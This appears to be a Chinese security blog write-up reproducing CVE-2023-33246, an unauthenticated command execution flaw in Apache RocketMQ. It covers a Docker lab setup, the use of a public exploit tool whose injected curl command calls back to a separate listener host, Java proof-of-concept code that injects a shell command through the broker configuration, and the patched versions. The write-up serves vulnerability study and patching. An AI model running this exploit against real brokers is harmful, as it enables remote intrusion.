关注我们❤️,添加星标🌟,一起学安全!
作者:Locks_@Timeline Sec
本文字数:2940
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。
漏洞编号:CVE-2023-33246
Apache RocketMQ此漏洞是一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
docker搭建环境
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
创建目录
mkdir -p /mydata/rocketmq/conf/
在宿主机创建broker配置文件, 启动broker服务需要,我这里的路径为: /mydata/rocketmq/conf/broker.conf文件内容(vim /mydata/rocketmq/conf/broker.conf)
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = 192.168.88.104
注:172.16.0.70为我的宿主机IP 启动docker
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动console
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\
-e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\
-Dcom.rocketmq.sendMessageWithVIPChannel=false"\
-t apacherocketmq/rocketmq-console:2.0.0
最后访问8899得到如下
http://172.16.0.70:8899/#/
靶机:centos7 docker搭建 172.16.0.70
攻击:win11 脚本攻击 172.16.0.61
接收:kali curl 172.16.0.68
GitHub中的工具
https://github.com/SuperZero/CVE-2023-33246/tree/main
命令语句模板
java -jar CVE-2023-33246.jar -ip "被攻击host" -cmd "执行的命令"
使用kali自带的http服务验证命令是否执行成功
java -jar .\CVE-2023-33246.jar -ip "172.16.0.70" -cmd "curl http://172.16.0.68:8000"
成功访问到kali的http服务
漏洞成因:
1.提供无加密与鉴权的不安全服务;
2.对于用户输入的检查与过滤不足。
通过修改RocketMQ的配置文件来实现攻击。它创建一个DefaultMQAdminExt对象,并设置namesrv地址。
然后,它通过设置rocketmqHome属性来修改配置文件中的rocketmqHome配置,并将操作系统命令拼接到配置参数中。
最后,它使用admin.updateBrokerConfig方法向特定的broker地址发送修改后的配置数据,从而实现对该broker的攻击。
import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
public static void main(String[] args) {
// 创建 Properties 对象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty("rocketmqHome","-c $@|sh . echo open -a Calculator;");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
admin.setNamesrvAddr("localhost:9876");
admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
admin.updateBrokerConfig("127.0.0.1:10911", props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6
下载链接:
https://rocketmq.apache.org/download/
https://mp.weixin.qq.com/s/tSu-rVpmdDgMLGF_g_1_5Q
推荐服务
历史漏洞
暂无
后台功能
回复【1】领取新人学习资料
回复【2】进入漏洞查询功能
回复【3】获取加群方式
回复【4】领取安全电子书籍
回复【5】进入SRC-QQ交流群
商务合作
文章引用微信公众号"Timeline Sec",如有侵权,请联系管理员删除!